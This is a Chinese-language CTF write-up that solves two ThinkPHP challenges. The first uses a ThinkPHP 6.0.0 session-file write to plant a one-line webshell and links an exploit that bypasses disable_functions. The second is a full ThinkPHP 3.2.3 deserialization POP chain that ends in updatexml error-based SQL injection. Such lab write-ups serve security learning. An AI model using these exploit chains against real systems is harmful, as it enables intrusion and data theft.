Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

thinkphp基本框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
www WEB部署目录(fleastrTest)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ ├─config 配置目录
│ │ └─ … 更多类库目录
│ │
│ ├─command.php 命令行定义文件
│ ├─common.php 公共函数文件
│ └─tags.php 应用行为扩展定义文件

├─config 应用配置目录
│ ├─module_name 模块配置目录
│ │ ├─database.php 数据库配置
│ │ ├─cache 缓存配置
│ │ └─ …
│ │
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─log.php 日志配置
│ ├─session.php Session配置
│ ├─template.php 模板引擎配置
│ └─trace.php Trace配置

├─route 路由定义目录
│ ├─route.php 路由定义
│ └─… 更多

├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写

├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ └─logo.png 框架LOGO文件

├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

最近学了thinkphp,这里就找了一道thinkphp的题来看看

[GYCTF2020]EasyThinking

进去是一个很普通的框架

205

简单测试了一下,发现是thinkphp V6.0.0

204

简单搜索了一下,发现存在任意文件包含漏洞,贴一下大佬的文章

https://guokeya.github.io/post/gmCesqdBk/

对于漏洞有详细的介绍,这里就简单概括一下,这个漏洞就是讲sessionid作为文件名。session内容作为文件内容写入,而如果我们能控制sessionid和文件内容。即可实现任意文件写入,同时存在判断sessionid必须为长度为32的字符串

(这道题因为存在源码泄露,感觉靠审计也可以,但感觉会需要耐心)

先注册一个账号

206

这里登录的时候可以看到phpsessid可控,然后在search页面发现key值可控

207

这里就怀疑phpsessid值控制文件名,key值控制文件内容,这里就直接控制文件名后,在文件内写入一个一句话木马(这里需要知道的是SESSION文件通常以sess_<值>的形式来储存,生成的 session 文件默认保存在 \runtime\session ,下我们在提交完Shell内容之后可以在\runtime\session\sess_xxx.php中得到我们的Shell)

208

这里可看到一句话木马成功写入

203

但是存在大量的过滤,基本上所有能用的函数都被过滤了,无法直接获得flag,连接蚁剑后发现根目录下存在flagreadflag,这里看了一下大佬的wp,发现可以通过突破disable_function限制执行命令,这里用一下大佬的脚本

https://github.com/mm0r1/exploits/tree/master

修改命令为/readflag,上传exp后,通过文件包含进行调用(include 路径),即可获得flag

209

[红明谷CTF 2021]EasyTP

进去看到页面提示是一个thinkphp框架

简单扫一下目录,发现存在源文件泄露

238

打开文件后可以发现这是一个thinkphp3.2.3框架

这里我们就直接到thinkphp3.2.3框架入口

Application/Home/Controller/IndexController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
$this->display();

}
public function test(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
}
}

这个题只是改了首页即IndexController.class.php,更改其利用方式为php://input,其他和thinkphp3.2.3中的反序列化漏洞完全一致,这里就可以直接搬用该漏洞脚本进行稍加修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => true,
"database" => "test", // 可换成任何一个存在的库
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root" // BUU下的密码为root
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
// "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#" //sys,test,informance_schema
...这里就省略一下
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),16),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

239

很明显长度不过,修改一下mid的参数就行了

评论